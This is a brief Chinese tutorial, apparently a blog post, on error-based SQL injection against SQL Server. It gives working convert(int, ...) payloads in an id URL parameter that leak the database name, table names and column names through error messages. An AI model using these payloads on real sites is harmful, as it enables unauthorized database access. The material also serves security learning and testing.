条件
必须有错误回显
函数
convert(int,(select top 1 db_name() )):将第二个参数的值转换成第一个参数的int类型
查看数据库
?id=1 and 1=convert(int,(select top 1 db_name()))

查看数据库有哪些表
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’))

第一个表名为aaa,查看第二个表名,依次类推
?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’))

查看对应表有哪些列
?id=1 and 1=convert(int,(select top 1 name from test.sys.syscolumns where id = object_id(‘users’)))
sql注入之——sqlserver报错注入
最新推荐文章于 2024-12-18 18:02:30 发布

最低0.47元/天 解锁文章
26万+





